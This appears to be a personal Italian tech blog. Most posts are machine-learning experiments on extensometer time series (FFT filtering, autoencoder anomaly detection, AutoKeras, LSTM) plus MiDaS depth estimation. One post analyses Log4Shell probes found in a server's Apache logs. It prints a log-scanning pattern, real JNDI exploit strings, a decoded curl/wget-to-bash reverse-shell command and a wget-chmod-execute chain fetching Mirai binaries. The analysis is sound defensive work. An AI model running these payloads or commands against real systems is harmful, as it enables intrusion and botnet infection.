martedì 21 dicembre 2021

Mappa di profondita' da immagini monoculari

Fino a poco tempo fa per estrarre dati tridimensionali da una immagine fotografica era possibile utilizzare solo immagine stereoscopiche..successivamente e' stato possibile ottenere mappe di profondita' con i laser a luce strutturata ... in ogni caso era necessario utilizzare attrezzatura specifica

Leggendo gli esempi di Keras  ho trovato questo esempio Monocular Depth Estimation che permette da una normale immagine di stimare la profondita' degli oggetti ripresi utilizzando una rete neurale CNN

Immagine originale


Mappa di profondita' generata da Midas (midas_v21)


Mappa di profondita' generata da Midas (complete)


Nonostante diverse prove su Colab il notebook entrava in errore (ho avuto solo un successo) con valori di Nan in loss e val_loss e pensavo di abbandonare quando ho trovato MiDaS

Per prima cosa si deve impostare un Conda Env  (conda activate env_pytorch) con 

conda install pytorch torchvision opencv 
pip install timm

In seguito si copiano di file dei modelli Large e Hybrid nella directory weights (i modelli midas_v21 e midas_v21_small vengnono scaricati in modo automatico)

Si inseriscono poi nella dir input le immagini da processare ed i risultati si troveranno nella dir outpu

Su Apple M1 tutto ha funzionato. Su Ubuntu LTS 18.04 hanno funzionato solo i modello midas_v21

Ho provato ad usare anche il docker senza fortuna

La cosa interessante non e' il PNG che viene generato ma il file .PFM all'interno del quale si trovano in formato binario i valori di distanza in formato float32 (nel PNG ci sono solo 255 classi). Avendo un punto di verita'nell'immagine tali valori possono essere riscalati per ottenere delle distanze metriche

Per leggere il file PFM si puo' utilizzare la funzione read_pfm contenuta nel file utils.py 

======================================================

import utils
(data,scale) = utils.read_pfm('luca.pfm')
print(data)
print(scale)

Sono presenti anche le dir per mobile Android/IOS e Tensorflow ma al momento non sono riuscito a compilarle

Per alcuni test rapidi si puo' utilizzare il notebook python

venerdì 17 dicembre 2021

Estensimetro ed FFT

Una per applicare un filtro ai dati dell'estensimetro bassato su analisi FFT (vedi qui e precedenti)

Dati originali con curva di interpolazione polinomiale


 Detrend sottraendo la polinomiale

Analisi FFT
Il primo picco ha un periodo di circa 24 giorni. I successivi sono relativi al ciclo giornaliero ed armoniche di ordine superiore

applicando un filtro passa basso si ottiene il grafico filtrato invertendo la FFT



import pandas as pd
import numpy as np
from matplotlib import pyplot as plt

from sklearn.preprocessing import PolynomialFeatures


from scipy.fft import fft, ifft


# legge il csv e lo mette in un dataframe
dati = pd.read_csv('dati_small_prg.csv', sep=',', parse_dates=['Data'], index_col=['Data'])

# taglia la prima parte dei dati
dati = dati[1:8500]

# resample
#print("**********************************************")
#dati.info()
#dati.resample('60min').mean()
#dati.info()
#print("**********************************************")

####### regressione
import scipy

def f(x, a, b, c):
return a*x**2 + b*x + c
#return a*np.log(x)+b
#return a*x+b

def residual(p, x, y):
return y - f(x, *p)

p0 = [1., 1., 1.]
x = np.arange(1,8500,1)

popt, pcov = scipy.optimize.leastsq(residual, p0, args=(x,dati['Est.[mm]']))

print("Parametri della regressione ")
print(popt)
print("Errore sui parametri della regressione")
print(pcov)
yn = f(x, *popt)

plt.plot(x, yn, 'or')
plt.plot(x, dati['Est.[mm]'])
plt.show()

#Calcolo dell'errore quadratico medio
#tra i dati veri e la curva di correlazione
# come radice quadrata della somma delle differenze al quadrato
# diviso per il numero di elementi
differenza = yn-dati['Est.[mm]']
err = np.square(yn-dati['Est.[mm]'])
s_err = np.sqrt(np.sum(err, axis=0)/err.shape)
print("Errore quadratico medio (mm)")
print(s_err)
np.savetxt('correla.csv', yn, delimiter=',', fmt='%f')

# cancella le colonne che non servono
dati.drop(dati.columns[[0,1,4,5]], axis=1, inplace=True)
print(dati.info())

#salva i dati sul csv
dati.to_csv('./nuovo.csv')

#https://docs.scipy.org/doc/scipy/reference/tutorial/fft.html
#https://pythonnumericalmethods.berkeley.edu/notebooks/chapter24.04-FFT-in-Python.html



plt.plot(differenza, label='Detrend')
plt.legend(loc='best')
plt.show()


#con il passo di campionamento di 1 ora c'e' una frequenza
# di 0.0008333 Hz
# corrispondente ad una 1 misura ogni 20 minuti 1/(60x20)
dati_fft = np.fft.fft(differenza)
N = len(dati_fft)
n = np.arange(N)
# sr sampling rate
# n numero di misure
sr = 0.00083333
T = N/sr
print(T)
freq = n/T

plt.plot(freq[1:4250], np.abs(dati_fft[1:4250]))
plt.xlabel('Freq (Hz)')
plt.ylabel('FFT Amplitude |X(freq)|')

plt.show()

#filtra
sig_fft_filtered = dati_fft.copy()
cut_off = 0.00083


sig_fft_filtered[np.abs(freq) < cut_off] = 0
filtered = ifft(sig_fft_filtered)

plt.plot(filtered)
plt.xlabel('Tempo')
plt.ylabel('mm')

plt.show()

################################################
# 4.87927E-7 (23.72 giorni)
# 1.16571E-5 (23.82 ore)
# 2.32256E-5 (2 armonica del secondo dato)
# 3.48999E-5 (3 armonica del secondo dato)
# 4.6367E-5 (4 armonica del secondo dato)
# 5.8022E-5 (5 armonica del secondo dato)
# 6.9479E-5 (6 armonica del secondo dato)
# 8.1181E-5 (7 armonica del secondo dato)
# 9.2730E-5 (8 armonica del secondo dato)

domenica 12 dicembre 2021

Log4J

 rapido controllo su un server....il problema decisamente esiste




stringa di scansione dei log (ripresa da qui)

egrep -i -r '\$\{jndi:(ldap[s]?|rmi|dns):/[^\n]+' /var/log

questo il risultato...la cosa interessante e' che vi sono diverse tipologie di codici di cui si tenta l'esecuzione

/var/log/apache2/access.log.1:167.71.13.196 - - [11/Dec/2021:10:04:25 +0100] "GET /$%7Bjndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b%7D?${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b}=${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b} HTTP/1.1" 404 515 "-" "${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b}"

/var/log/apache2/access.log.1:167.71.13.196 - - [11/Dec/2021:18:32:33 +0100] "GET /$%7Bjndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b%7D?${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b}=${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b} HTTP/1.1" 404 515 "-" "${jndi:ldaps://fd85971c.probe001.log4j.leakix.net:9200/b}"

/var/log/apache2/access.log.1:194.163.163.20 - - [11/Dec/2021:22:13:07 +0100] "GET /?x=${jndi:ldap://${hostName}.c6qgldh5g22l07bu1lvgcg4tesaybpakh.interactsh.com/a} HTTP/1.1" 200 3343 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName}.c6qgldh5g22l07bu1lvgcg4tesaybpakh.interactsh.com}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://${hostName}.c6qgldh5g22l07bu1lvgcg4tesaybpakh.interactsh.com}"

/var/log/apache2/access.log.1:147.182.216.21 - - [12/Dec/2021:00:35:18 +0100] "GET / HTTP/1.1" 200 3324 "-" "${jndi:ldap://http80useragent.kryptoslogic-cve-2021-44228.com/http80useragent}"

/var/log/apache2/access.log.1:45.155.205.233 - - [12/Dec/2021:06:21:38 +0100] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MCl8YmFzaA==} HTTP/1.1" 200 3343 "${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MCl8YmFzaA==}" "${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MHx8d2dldCAtcSAtTy0gNDUuMTU1LjIwNS4yMzM6NTg3NC8xNTAuMjE3LjczLjEwODo4MCl8YmFzaA==}"

decodificando la stringa Base64 si ha il comando per accesso shell

(curl -s 45.155.205.233:5874/150.217.xxx.xxx:80||wget -q -O-45.155.205.233:5874/150.217.xxx.xxx:80)|bash

in altri casi la decodifica della stringa base64 riporta a 

wget http://xxx.xxxx.xxx.xxx/lh.sh;chmod +x lh.sh;./lh

che scarica ed esegue uno script di shlle che contiene

wget http://xxx.xxx.xxx.xxx/web/admin/x86;chmod +x x86;./x86 x86;
wget http://xxx.xxx.xxx.xxx/web/admin/x86_g;chmod +x x86_g;./x86_g x86_g;
wget http://xxx.xxx.xxx.xxx/web/admin/x86_64;chmod +x x86_64;./x86_g x86_64;

che scarica e mette in esecuzione dei file binari (Virustotal li riconosce come appartenenti a Mirai)

Aggiornamento
oggi e' stata rilevata la seguente stringa nei log

/var/log/apache2/access.log:45.56.80.11 - - [15/Dec/2021:17:27:09 +0100] "GET / HTTP/1.1" 200 10975 "-" "${jndi:ldap://162.55.90.26/2530822508/C}"
/var/log/apache2/access.log.1:13.72.102.159 - - [14/Dec/2021:15:01:45 +0100] "GET /${jndi:ldap://45.130.229.168:1389/Exploit} HTTP/1.1" 404 481 "-" "curl/7.58.0"

questo codice e' relativo al ransomware Mushtik (per la spiegazione completa qui)

aggiornamento con variante

/var/log/apache2/access.log.1:45.56.80.11 - - [15/Dec/2021:17:27:09 +0100] "GET / HTTP/1.1" 200 10975 "-" "${jndi:ldap://162.55.90.26/2530822508/C}"

/var/log/apache2/access.log.1:107.189.29.181 - - [19/Dec/2021:15:19:44 +0100] "GET / HTTP/1.1" 200 3343 "-" "${jndi:ldap://179.43.175.101:1389/jedmdg}" botnet


sabato 11 dicembre 2021

Autoencoder anomaly detection con tensorlfow

 Terzo tentativo di analisi dati di estensimetro con Tensorflow (iniziato qui). Si tratta di un adattamento dell'esempio sul sito di Keras


In questo post si cerca di impostare una anomaly detection mediante autoencoder

La prima anomalia nella serie dati e' in corrispondenza del movimento indicato dalla freccia nel grafico soprastante

I dati sono stati tagliati in modo da includere solo l'inizio dell'anomalia in modo da non istruire troppo la rete 



Il modello converge rapidamente con valori di loss e validation loss similari



sovrapponendo il modello ai dati di train si nota una ottima corrispondenza




sottrando i dati reali dal modello si possono estrapolare le anomalie. Indicato dalla freccia l'anomalia derivante dal movimento



di seguito il codice


# -*- coding: utf-8 -*-
"""timeseries_anomaly_detection_detrend3

Automatically generated by Colaboratory.

Original file is located at
https://colab.research.google.com/drive/12Kkjp_xazCmO4HrK0tmzVPyHIoYxJsYo
"""

import numpy as np
import pandas as pd
from tensorflow import keras
from tensorflow.keras import layers
from matplotlib import pyplot as plt

!rm detrend.*
!wget http://c1p81.altervista.org/detrend3.zip
!rm *.csv
!unzip detrend3.zip
df_small_noise=pd.read_csv(r'detrend3.csv', sep=':', header=0, low_memory=False, infer_datetime_format=True, parse_dates={'datetime':[0]}, index_col=['datetime'],usecols=['Data','detrend'])

print(df_small_noise.head())
print(df_small_noise.shape)

#df_small_noise = df_small_noise[:9500]

plt.plot(df_small_noise['detrend'])

plt.show()

# Normalize and save the mean and std we get,
# for normalizing test data.
training_mean = df_small_noise.mean()
training_std = df_small_noise.std()
df_training_value = (df_small_noise - training_mean) / training_std
print("Number of training samples:", len(df_training_value))

TIME_STEPS = 1000

# Generated training sequences for use in the model.
def create_sequences(values, time_steps=TIME_STEPS):
output = []
for i in range(len(values) - time_steps + 1):
output.append(values[i : (i + time_steps)])
return np.stack(output)


x_train = create_sequences(df_training_value.values)
print("Training input shape: ", x_train.shape)

model = keras.Sequential(
[
layers.Input(shape=(x_train.shape[1], x_train.shape[2])),
layers.Conv1D(
filters=32, kernel_size=7, padding="same", strides=2, activation="relu"
),
layers.Dropout(rate=0.2),
layers.Conv1D(
filters=16, kernel_size=7, padding="same", strides=2, activation="relu"
),
layers.Conv1DTranspose(
filters=16, kernel_size=7, padding="same", strides=2, activation="relu"
),
layers.Dropout(rate=0.2),
layers.Conv1DTranspose(
filters=32, kernel_size=7, padding="same", strides=2, activation="relu"
),
layers.Conv1DTranspose(filters=1, kernel_size=7, padding="same"),
]
)
model.compile(optimizer=keras.optimizers.Adam(learning_rate=0.001), loss="mse")
model.summary()

history = model.fit(
x_train,
x_train,
epochs=10,
batch_size=128,
validation_split=0.1,
callbacks=[
keras.callbacks.EarlyStopping(monitor="val_loss", patience=5, mode="min")
],
)


plt.plot(history.history["loss"], label="Training Loss")
plt.plot(history.history["val_loss"], label="Validation Loss")
plt.legend()
plt.show()

# Get train MAE loss.
x_train_pred = model.predict(x_train)
train_mae_loss = np.mean(np.abs(x_train_pred - x_train), axis=1)

plt.hist(train_mae_loss, bins=50)
plt.xlabel("Train MAE loss")
plt.ylabel("No of samples")
plt.show()

# Get reconstruction loss threshold.
threshold = np.max(train_mae_loss)

print("Reconstruction error threshold: ", threshold)

print(x_train.shape)
# Checking how the first sequence is learnt
plt.plot(x_train[288],label='Dati')
plt.plot(x_train_pred[288],label='Modello')
plt.legend()
plt.show()

anomalia = x_train[288] - x_train_pred[288]
plt.plot(anomalia)
plt.show()

venerdì 10 dicembre 2021

AutoKeras LSTM per estensimetro

Questo e' un tentativo di applicazione di AutoKeras (AutoML ovvero machine learning automatizzato basato su Keras) ai dati del post precedente

La differenza sostanziale e' che la dimensione del train set deve essere un multiplo intero della batch size  (in questo caso 42 e 4200)




# -*- coding: utf-8 -*-
"""Autokeras timeseries_forecaster

Automatically generated by Colaboratory.

Original file is located at
https://colab.research.google.com/drive/1mQHWTqwyRKhShtTrwNXBvPHgOkU4ghsX
"""

!pip install autokeras

import pandas as pd
import tensorflow as tf
import numpy as np
import matplotlib.pyplot as plt

import autokeras as ak

!rm detrend2.csv
!wget http://c1p81.altervista.org/detrend2.zip
!unzip detrend2.zip

dataset=pd.read_csv(r'detrend2.csv', sep=',')
# cancella la prima colonna del tempo
#dataset_c.drop('Data',axis=1,inplace=True)
dataset= dataset_c[1:6001]
dataset.head()
dataset.shape

val_split = int(len(dataset) * 0.7)
data_train = dataset[:val_split]
validation_data = dataset[val_split:]

data_x = data_train[
[
"Est.[mm]"
]
].astype("float64")

data_x_val = validation_data[
[
"Est.[mm]"
]
].astype("float64")

# Data with train data and the unseen data from subsequent time steps.
data_x_test = dataset[
[
"Est.[mm]"
]
].astype("float64")

data_y = data_train["Est.[mm]"].astype("float64")

data_y_val = validation_data["Est.[mm]"].astype("float64")

##print(data_x.shape)
#print(data_y.shape)
#print(data_y)

#la batch size deve essere un divisore
#della serie di train altrimenti genera errore

predict_from = 1
#lunghezza dei dati nel futuro
predict_until = 42
lookback = 30
clf = ak.TimeseriesForecaster(
lookback=lookback,
predict_from=predict_from,
predict_until=predict_until,
max_trials=4,
objective="val_loss",
)
clf.fit(
x=data_x,
y=data_y,
validation_data=(data_x_val, data_y_val),
batch_size=42,
epochs=20
)

# Predizione
predictions = clf.predict(data_x_test)
print(predictions.shape)
print(data_x_val.shape)
print(data_y_val.shape)

loss,acc = clf.evaluate(data_x_val, data_y_val, batch_size=42, verbose=1)
print('Accuracy: %.3f' % acc)

plt.plot(predictions)

plt.title("Estensimetro")
plt.xlabel('')
plt.ylabel('')
plt.show()

model = clf.export_model()
# summarize the loaded model
model.summary()
# save the best performing model to file
model.save('model_sonar.h5')

giovedì 9 dicembre 2021

LSTM Time Series con Tensorflow per la geologia

Questo post e' un tentativo di applicazione delle reti neurali LSTM per l'analisi di dati (sulla base di questo articolo) derivanti da un sensore ad applicazione geologica, nello specifico un estensimetro. I dati sono dati reali che sono stati anonimizzati ma sono relativi ad un movimento di versante attivo. Sono originali sono acquisiti con passo di 20 minuti e coprono circa 10 mesi e prevedono misure anche meteo

Il primo tentativo e' stato quello di esaminare la curva completa ma presto mi sono reso conto che la rete neurale non riusciva mai a convergere. Ho limitato i dati quindi dall'inizio fino alla primo movimento avvenuto l'8 maggio

Come si osserva dal grafico ridotto sottostante oltre ad un trend generale in crescita dei valori dell'estensimetro vi sono variazioni cicliche a scala corta

in generale le variazioni cicliche a breve periodo di un estensimetro sono relative a dilatazioni termiche
Plottando i dati si ha comunque una scarsa correlazione



Un approccio di analisi base prevede di trovare una curva che approssima i dati (in questo caso la migliore approssimazione e' stata una polinomio di secondo grado)

facendo uno zoom si ha vede che le variazioni a breve periodo non sono sinusoidali (in pratica si osserva solo dei picchi di discesa ) e che approssimando con la curva di interpolazione si ha una fascia di incertezza dell'ordine di 1 mm

Vediamo se analizzando la serie tempo con una rete LSTM in Tensorflow si riesce ad ottenere un modello che fitta meglio con i dati

Per prima cosa devo dire che i primi tentativi sono stati piuttosto deludenti..mi sono trovato spesso in situazioni in cui la loss dei dati di training era ottima mentre era pessima  (e spesso in crescita con le epochs) quella del set di validazione. 
In altri casi mi sono trovato ad avere un modello decente che aveva un offset costante rispetto ai dati di controllo (vedi grafico sottostante)


Una soluzione e' stata quella di inserire dei layer di dropout nella rete e quella di effettuare un detrending (sottrarre ai dati grezzi il valore della funzione che approssima la tendenza generale)

Un altro aspetto determinante per un modello ottimale consiste nell'individuazione della corretta batch size (nel caso specifico batch size inferiore a 50 non riusciva a seguire le variazioni dei dati)

un dettaglio dei dati dopo il detrend



il miglior risultato che sono riuscito ad ottenere e' il seguente
questi sono i dati di train contro dati reali. Si nota che il modello segue l'andamento dei dati reali ma mostra un ritardo nei minimi relativi del trend generale
 

questi sono invece i dati di validazione. Si osserva una buona sincronia sulle variazioni a breve periodo


========================================
# -*- coding: utf-8 -*-
"""Quincineto_stima_errore_detrend2.ipynb

Automatically generated by Colaboratory.

Original file is located at
https://colab.research.google.com/drive/1fFEfuUj5iwNucKDOfVpEzvIYK_1KebH8

### Elaborazione Quincineto
"""

import pandas as pd
import numpy as np
from sklearn.preprocessing import MinMaxScaler
import matplotlib.pyplot as plt
import tensorflow as tf
import os

# Commented out IPython magic to ensure Python compatibility.
#prepara tensorboard
# %load_ext tensorboard

"""
Download dati"""

!wget http://c1p81.altervista.org/detrend2.zip

!unzip detrend2.zip

"""Carica i dati in matrice"""

df=pd.read_csv(r'detrend2.csv', sep=',', header=0,index_col=['Data'])
df.head()

plt.plot(df['Est.[mm]'])
plt.title("Estensimetro")
plt.xlabel('Datetime')
plt.ylabel('Est')
plt.show()

#finestra mobile dei dati
n_past = 300
n_future = 100
n_features = 1

# divide il dataset in 75% train, 25 % test
righe = df.shape[0]
t = np.round(righe*0.75,0)
print(t)
train_df,test_df = df[1:6000], df[6000:]

# il dataset di test non entra nel calcolo della rete neurale
# e' lo stato futuro che la rete deve prevedere
# qui si trova la rottura della tendenza
plt.plot(test_df['Est.[mm]'])
plt.title("Train dataset estensimetro Dettaglio")
plt.xlabel('Datetime')
plt.ylabel('Est')
plt.show()

#riscala i dati per il calcolo della rete
train = train_df
scalers={}

for i in train_df.columns:
scaler = MinMaxScaler(feature_range=(-1,1))
s_s = scaler.fit_transform(train[i].values.reshape(-1,1))
s_s=np.reshape(s_s,len(s_s))
scalers['scaler_'+ i] = scaler
train[i]=s_s

test = test_df
for i in train_df.columns:
scaler = scalers['scaler_'+i]
s_s = scaler.transform(test[i].values.reshape(-1,1))
s_s=np.reshape(s_s,len(s_s))
scalers['scaler_'+i] = scaler
test[i]=s_s

"""**Converting the series to samples for supervised learning**"""

def split_series(series, n_past, n_future):
#
# n_past ==> no of past observations
#
# n_future ==> no of future observations
#
X, y = list(), list()
for window_start in range(len(series)):
past_end = window_start + n_past
future_end = past_end + n_future
if future_end > len(series):
break
# slicing the past and future parts of the window
past, future = series[window_start:past_end, :], series[past_end:future_end, :]
X.append(past)
y.append(future)

return np.array(X), np.array(y)

X_train, y_train = split_series(train.values,n_past, n_future)
X_train = X_train.reshape((X_train.shape[0], X_train.shape[1],n_features))
y_train = y_train.reshape((y_train.shape[0], y_train.shape[1], n_features))

X_test, y_test = split_series(test.values,n_past, n_future)
X_test = X_test.reshape((X_test.shape[0], X_test.shape[1],n_features))
y_test = y_test.reshape((y_test.shape[0], y_test.shape[1], n_features))

X_test.shape
print(train)

# E1D1
# n_features ==> no of features at each timestep in the data.
#
encoder_inputs = tf.keras.layers.Input(shape=(n_past, n_features))
encoder_l1 = tf.keras.layers.LSTM(300, return_state=True)
encoder_outputs1 = encoder_l1(encoder_inputs)
encoder_states1 = encoder_outputs1[1:]
#
decoder_inputs = tf.keras.layers.RepeatVector(n_future)(encoder_outputs1[0])
#
decoder_l1 = tf.keras.layers.LSTM(300, return_sequences=True,dropout=0.5,recurrent_dropout=0.5)(decoder_inputs,initial_state = encoder_states1)
decoder_outputs1 = tf.keras.layers.TimeDistributed(tf.keras.layers.Dense(n_features))(decoder_l1)
#
model_e1d1 = tf.keras.models.Model(encoder_inputs,decoder_outputs1)

model_e1d1.summary()

reduce_lr = tf.keras.callbacks.LearningRateScheduler(lambda x: 1e-3 * 0.90 ** x)

epoche = 15

#tensorboard start
import datetime
log_dir = "Logs/fit/" + datetime.datetime.now().strftime("%Y%m%d-%H%M%S")
tensorboard_callback = tf.keras.callbacks.TensorBoard(log_dir=log_dir, histogram_freq=1)
#tensorboard start

model_e1d1.compile(optimizer=tf.keras.optimizers.Adam(), loss=tf.keras.losses.Huber())
history_e1d1=model_e1d1.fit(X_train,y_train,epochs=epoche,validation_data=(X_test,y_test),batch_size=164,verbose=1,callbacks=[reduce_lr,tensorboard_callback])

plt.plot(history_e1d1.history['loss'])
plt.plot(history_e1d1.history['val_loss'])
plt.title("Model Loss")
plt.xlabel('Epochs')
plt.ylabel('Loss')
plt.legend(['Train', 'Valid'])
plt.show()

plt.plot(history_e1d1.history['lr'])
plt.title("Model Lr")
plt.xlabel('Epochs')
plt.ylabel('Lr')
plt.show()

"""Predizione dei dati"""

pred1_e1d1=model_e1d1.predict(X_test)
pred_e1d1=model_e1d1.predict(X_train)

"""Ritorna dai valori scalati ai valori reali"""

for index,i in enumerate(train_df.columns):
scaler = scalers['scaler_'+i]
pred1_e1d1[:,:,index]=scaler.inverse_transform(pred1_e1d1[:,:,index])
pred_e1d1[:,:,index]=scaler.inverse_transform(pred_e1d1[:,:,index])
y_train[:,:,index]=scaler.inverse_transform(y_train[:,:,index])
y_test[:,:,index]=scaler.inverse_transform(y_test[:,:,index])

#print(y_train)
np.savetxt('array_ytrain_X.csv', y_train[:,:,0], delimiter=';', fmt='%f')
np.savetxt('array_ytrain_Y.csv', y_train[:,:,1], delimiter=';', fmt='%f')
np.savetxt('array_ytrain_Est.csv', y_train[:,:,2], delimiter=';', fmt='%f')
np.savetxt('array_ytrain_T.csv', y_train[:,:,3], delimiter=';', fmt='%f')
np.savetxt('array_ytrain_bat.csv', y_train[:,:,4], delimiter=';', fmt='%f')

np.savetxt('array_ytest_X.csv', y_test[:,:,0], delimiter=';', fmt='%f')
np.savetxt('array_ytest_Y.csv', y_test[:,:,1], delimiter=';', fmt='%f')
np.savetxt('array_ytest_Est.csv', y_test[:,:,2], delimiter=';', fmt='%f')
np.savetxt('array_ytest_T.csv', y_test[:,:,3], delimiter=';', fmt='%f')
np.savetxt('array_ytest_bat.csv', y_test[:,:,4], delimiter=';', fmt='%f')

print(pred1_e1d1[:,:,0])

"""**Checking Error** """

#errore medio tra modello e dati reali
from sklearn.metrics import mean_absolute_error
print(y_test.shape)
#print(pred1_e1d1[:,:,2])
#print(y_test[:,:,2])
#print(y_test.shape[0])
diff = pred1_e1d1[:,:,0]-y_test[:,:,0]
print("Diff")
#print(diff)
print(diff.shape)
#print(np.square(diff))
sommaq=np.sum(np.square(diff[0]))
print(sommaq.shape)
s_err1=np.sqrt(sommaq/y_test.shape[0]*y_test.shape[1])
print()
print(sommaq)
#err1 = np.square(pred1_e1d1[:,:,2]-y_test[:,:,2])
#s_err1 = np.sqrt(np.sum(err1, axis=0))
#print("Errore quadratico medio (mm)")
print(s_err1)

#print(y_test)
plt.plot(y_test[:,99,0])
plt.plot(pred1_e1d1[:,99,0])
plt.title("Modello vs monitoraggio")
plt.xlabel('Tempo')
plt.ylabel('Est')
plt.legend(['Dati reali', 'Modello'])
plt.show()

# Modello contro monitoraggio nei dati di addestramento
plt.plot(y_train[:,99,2])
plt.plot(pred_e1d1[:,99,2])
plt.title("")
plt.xlabel('Tempo')
plt.ylabel('Est (mm)')
plt.legend(['Monitoraggio', 'Modello'])
plt.show()

# dettaglio del grafico Modello contro dati reali
# si nota come il modello copia in modo idoneo anche
# le variazioni a corto periodo
plt.plot(y_train[1:1000,99,2])
plt.plot(pred_e1d1[1:1000,99,2])
plt.title("")
plt.xlabel('Tempo')
plt.ylabel('Est (mm)')
plt.legend(['Monitoraggio', 'Modello'])
plt.show()

# Commented out IPython magic to ensure Python compatibility.
# %tensorboard --logdir Logs/fit


Utilizzando l'esempio del Time Series Forecasting direttamente dal sito di Tensorflow si hanno risultati similari




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